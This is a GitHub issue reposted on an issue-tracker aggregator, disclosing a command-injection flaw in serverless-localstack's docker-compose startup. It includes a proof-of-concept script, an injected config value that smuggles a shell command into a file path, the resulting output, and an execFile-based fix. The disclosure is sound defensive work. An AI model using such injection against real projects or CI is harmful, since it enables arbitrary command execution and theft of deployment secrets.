Command injection via unsanitized `custom.localstack.docker.compose_file`
还没有人认领这个 Issue。
评估
- 难度
- 3/5
- 预计耗时
- 1-2 天
- 新手友好度
- 58/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 冷清
- 技术栈
- docker-compose, javascript
调研方向
从 src/index.js 和 startLocalStack 路径开始,然后运行提供的 node poc.js 复现,以确认命令注入行为。检查 docker-compose 启动命令以及注明的 docker network connect 路径;当配置值在不经过 shell 解释的情况下传递,并且 LocalStack 仍能正常启动时,即表示完成。
由索引模型根据 Issue 内容生成。
描述
Description
serverless-localstack passes the custom.localstack.docker.compose_file configuration value directly into a shell command when autostart is enabled and the plugin starts LocalStack through Docker Compose.
The README documents docker.compose_file as an optional Docker Compose file path:
custom:
localstack:
autostart: true
docker:
compose_file: /home/localstack_compose.yml
However, in src/index.js, the value is interpolated into a command string:
exec(`docker-compose -f ${this.config.docker.compose_file} up -d`)
Because the value is not escaped or passed as an argument array, shell metacharacters in the compose file path can execute additional commands.
Affected Version
Tested with:
serverless-localstack@1.4.0- Node.js
24.10.0 - macOS / POSIX shell
Severity
Suggested CVSS v3.1: 6.5 Medium
Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
Rationale:
AV:L: exploitation requires control over local project/serverless configuration or the release/build environment.AC:L: once the configuration value is controlled, exploitation is straightforward.PR:H: in the common threat model, the attacker must be able to modify trusted project configuration or influence CI configuration.UI:R: a developer or CI process must run Serverless with this plugin enabled.C/I/A:H: successful exploitation results in arbitrary command execution as the Serverless/CI process. In CI/CD environments this may expose credentials, deployment tokens, or other secrets.
The attack surface is relatively narrow, but the impact after exploitation can be high.
Steps to Reproduce
Create a minimal project:
rm -rf /tmp/sls-localstack-public-poc /tmp/sls-localstack-aci
mkdir -p /tmp/sls-localstack-public-poc
cd /tmp/sls-localstack-public-poc
npm init -y
npm i serverless-localstack@1.4.0
Create poc.js:
const cp = require('child_process');
const { existsSync } = require('fs');
const realExec = cp.exec;
cp.exec = function hookedExec(command, options, callback) {
if (typeof options === 'function') {
callback = options;
options = undefined;
}
console.log('[exec]', command);
// Make the plugin believe no LocalStack container is running,
// so it reaches the docker-compose startup path.
if (command === 'docker ps') {
process.nextTick(() => callback && callback(null, '', ''));
return { on() {}, stdout: { on() {} }, stderr: { on() {} } };
}
return realExec.call(this, command, options, callback);
};
const LocalstackPlugin = require('serverless-localstack');
const serverless = {
service: {
custom: {
localstack: {
autostart: true,
stages: ['dev'],
docker: {
compose_file: 'x; touch /tmp/sls-localstack-aci; #'
}
}
},
provider: { stage: 'dev' },
getFunction() {
return {};
}
},
pluginManager: { hooks: {}, plugins: [] },
cli: { log: msg => console.log('[sls]', msg) },
getProvider() {
return {
request() {},
getCredentials() {
return { credentials: { accessKeyId: 'test', secretAccessKey: 'test' } };
},
sdk: { config: { update() {} } }
};
}
};
(async () => {
const plugin = new LocalstackPlugin(serverless, { stage: 'dev' });
await plugin.startLocalStack();
console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
})().catch(err => {
console.log('[error]', err && err.message);
console.log('marker exists:', existsSync('/tmp/sls-localstack-aci'));
});
Run:
node poc.js
Actual Result
The unescaped compose_file value is embedded into the shell command:
[exec] docker ps
[sls] Starting LocalStack using the provided docker-compose file. This can take a while.
[exec] docker-compose -f x; touch /tmp/sls-localstack-aci; # up -d
[exec] docker ps
marker exists: true
The marker file is created, demonstrating arbitrary command execution.
Expected Result
custom.localstack.docker.compose_file should be treated only as a Docker Compose file path. Shell metacharacters in the path should not execute commands.
Suggested Fix
Avoid building a shell command string from configuration values. For example, use an argument array:
execFile('docker-compose', ['-f', this.config.docker.compose_file, 'up', '-d'])
or use spawn/execa with shell: false.
The same pattern should also be reviewed in other Docker-related command construction paths, for example docker network connect "${this.config.networks[network]}" ${containerID}.
Impact
If an attacker can influence serverless.yml or CI configuration for a project that runs Serverless with serverless-localstack and autostart enabled, they can execute arbitrary commands as the developer or CI user.
- 主要语言
- JavaScript
- 星标
- 542
- 派生
- 92
- PR 合并指标
- 30 天内没有已合并 PR
贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
localstack/serverless-localstack 的其他 Issue
-
难度 1/5 1 小时以内 新手友好度 25/100
-
难度 3/5 1-2 天 新手友好度 45/100
-
难度 4/5 3-5 天 新手友好度 42/100
-
aws:apigateway status: backlog
难度 4/5 3-5 天 新手友好度 35/100
localstack/serverless-localstack#270 · 3 个 reaction ·
-
serverless-webpack status: backlog status: response required
难度 3/5 1-2 天 新手友好度 35/100
localstack/serverless-localstack#266 · 1 条评论 ·
查看 localstack/serverless-localstack 的全部 Issue
相似的 Issue
-
bug confirmed issue
难度 2/5 1-3 小时 新手友好度 75/100
open-webui/open-webui#30750 · 1 条评论 ·
-
难度 2/5 1-3 小时 新手友好度 75/100
-
难度 2/5 1-3 小时 新手友好度 70/100
-
难度 2/5 1-3 小时 新手友好度 75/100
-
Mend: dependency security vulnerability untriaged
难度 2/5 1-3 小时 新手友好度 70/100